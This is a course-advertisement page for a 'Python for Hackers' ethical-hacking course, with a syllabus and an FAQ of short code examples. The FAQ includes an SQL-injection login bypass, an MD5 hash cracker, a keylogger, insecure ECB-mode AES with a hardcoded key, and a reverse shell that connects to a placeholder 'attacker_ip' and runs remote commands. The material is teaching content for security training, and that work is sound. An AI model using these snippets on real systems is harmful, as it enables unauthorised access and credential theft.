Python for Hackers Course Modules
Python For Hacker Course – In Short
Duration: 8 Weeks (Self-Paced or Instructor-Led)
Mode: Theory + Hands-on Labs + Practical Projects
Prerequisites: Basic Programming Knowledge, Linux Fundamentals, Networking Concepts
Learn how to use Python for ethical hacking, penetration testing, and security automation. This hands-on course covers network scanning, exploit development, web hacking, password cracking, MITM attacks, malware coding, cryptography, and IDS evasion.
- Build custom hacking tools
- Automate attacks & reconnaissance
- Master Python for red teaming & pentesting
Who Should Enroll?
- Penetration Testers & Ethical Hackers
- Cybersecurity Professionals
- Red Team Operators
- Python Developers Interested in Security
About this course:
Beginners
Flexible Timing
16-24 Weeks
Theory + Hands-on Labs + Real-World Case Studies
Python Modules
Topics Covered:
Why Python for Hacking?
Setting Up the Python Environment (Windows, Linux, macOS)
Python Basics: Variables, Data Types, and Operators
Control Flow: Conditional Statements & Loops
Functions & Modules for Automation
File Handling & Working with the OS
Topics Covered:
Python for Network Communication
Understanding Sockets & Socket Programming
Building a Simple Port Scanner
Crafting Custom Packets with Scapy
Network Sniffing & Traffic Analysis
Topics Covered:
Making HTTP Requests with Python (Requests Module)
Automating Web Form Submissions
Web Scraping & Data Extraction
Brute-Forcing Login Pages
Interacting with APIs & Automating Attacks
Topics Covered:
Understanding Vulnerabilities & Writing Exploits
Buffer Overflow & Exploit Development Basics
Automating Exploits with Python
Writing Python Scripts for Metasploit
Exploiting Web & System Vulnerabilities
Topics Covered:
Writing Python-Based Trojans & Backdoors
Creating a Keylogger in Python
Encrypting & Obfuscating Payloads
Evading Antivirus & Sandboxing Detection
C2 Communication & Remote Control
Topics Covered:
Hashing & Password Cracking with Python
Symmetric & Asymmetric Encryption (AES, RSA)
Encoding & Decoding Data in Python
Implementing Steganography for Data Hiding
Encrypting Communications & Payloads
Topics Covered:
Automating Information Gathering
Creating a Simple Vulnerability Scanner
Developing a Password Cracker
Automating Social Engineering Attacks
Topics Covered:
Wi-Fi Packet Sniffing & Deauthentication
Bluetooth Scanning & Exploitation
Exploiting IoT Devices with Python
Attacking RFID & NFC Systems
Capstone Project:
Conduct a full penetration test using Python tools
Generate a detailed penetration testing report
📖 Final Exam:
Multiple-choice theory assessment
Hands-on practical challenge: Capture the Flag (CTF)
📜 Certification of Completion upon passing the final assessment.
Common Questions
Frequently Asked Questions (FAQ) – Python for Hacking
Python is widely used in cybersecurity and hacking because:
Easy to learn and use – Simple syntax and readability.
Powerful libraries – Has modules for networking, cryptography, web scraping, and automation.
Cross-platform – Works on Windows, Linux, and macOS.
Automation – Automates repetitive security tasks like scanning and exploitation.
Rapid development – Quick prototyping for exploit scripts.
Python is used in:
Network Scanning & Enumeration – Using
scapyandsocket.Web Hacking – Automating SQLi, XSS, and fuzzing.
Password Cracking – Brute-force attacks with
hashlibandpasslib.Malware Development – Writing trojans, backdoors, and keyloggers.
Cryptography – Encrypting and decrypting data using
pycryptodome.Reverse Engineering – Disassembling binaries using
capstoneandradare2.Exploit Development – Creating custom exploits with
pwntools.
Networking & Scanning:
scapy– Packet crafting and sniffing.socket– Creating and manipulating network connections.nmap– Python wrapper for Nmap.
Web Hacking:
requests– Sending HTTP requests.BeautifulSoup– Web scraping.mechanize– Automating web interactions.
Exploitation & Pentesting:
pwntools– Exploit development.paramiko– SSH protocol handling.impacket– Network protocol attacks.
Cryptography & Steganography:
pycryptodome– Encryption and decryption.hashlib– Hashing passwords and files.stegano– Hiding messages inside images.
Books:
Black Hat Python – Python for pentesting and hacking.
Violent Python – Cybersecurity scripting.
Online Platforms:
TryHackMe – Python hacking labs.
Hack The Box – Python-based challenges.
Pentester Academy – Hands-on Python courses.
GitHub Repositories:
PayloadsAllTheThings– Collection of hacking scripts.The-Art-of-Hacking– Python hacking resources.
⚠️ Hacking is illegal if done without permission! Always follow ethical hacking guidelines:
Get written permission before testing.
Follow laws and regulations (e.g., GDPR, Computer Fraud Act).
Use Python only for cybersecurity learning, penetration testing, and security research.
Learn Python basics – Variables, loops, functions.
Understand networking – Sockets, protocols, packet sniffing.
Study cybersecurity concepts – Ethical hacking, pentesting methodology.
Practice with Python hacking scripts – Build your own tools.
Join ethical hacking platforms – TryHackMe, Hack The Box.
You can use Python to scan open ports using the socket and scapy libraries.
import socket
def port_scan(target, ports):
for port in ports:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
result = s.connect_ex((target, port))
if result == 0:
print(f"Port {port} is open")
s.close()
target_ip = "192.168.1.1"
ports = [21, 22, 80, 443, 445]
port_scan(target_ip, ports)
Yes, Python can automate brute-force attacks and dictionary attacks.
Example: Using hashlib to crack MD5 hashes:
import hashlib
def crack_md5(hash, wordlist):
with open(wordlist, 'r') as f:
for word in f:
word = word.strip()
if hashlib.md5(word.encode()).hexdigest() == hash:
print(f"Password found: {word}")
return
print("Password not found")
hash_to_crack = "5f4dcc3b5aa765d61d8327deb882cf99" # MD5 of "password"
crack_md5(hash_to_crack, "wordlist.txt")
Python can automate SQL Injection, XSS, and directory fuzzing using requests and BeautifulSoup.
Example: Automating SQL Injection testing:
import requests
url = "http://target.com/login"
payload = {"username": "admin' OR '1'='1", "password": "anything"}
response = requests.post(url, data=payload)
if "Welcome" in response.text:
print("SQL Injection successful!")
else:
print("SQL Injection failed.")
Python keyloggers capture keystrokes and send them to a remote server.
Example: Simple keylogger using pynput:
from pynput.keyboard import Listener
def on_press(key):
with open("log.txt", "a") as f:
f.write(f"{key}\n")
with Listener(on_press=on_press) as listener:
listener.join()
⚠️ Use ethically and legally!
Python is used to encrypt and decrypt data using libraries like pycryptodome.
Example: AES encryption:
from Crypto.Cipher import AES
import base64
key = b"16charactersecre"
cipher = AES.new(key, AES.MODE_ECB)
plaintext = "This is a secret"
ciphertext = base64.b64encode(cipher.encrypt(plaintext.ljust(16).encode()))
print("Encrypted:", ciphertext)
Yes, Python can create reverse shells to gain remote access.
Example: Simple reverse shell:
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker_ip", 4444))
while True:
cmd = s.recv(1024).decode()
output = subprocess.getoutput(cmd)
s.send(output.encode())
Classroom Traning
We offer customized VILT (Virtual Instructor-Led Training) sessions at your convenient hours to provide effortless training.
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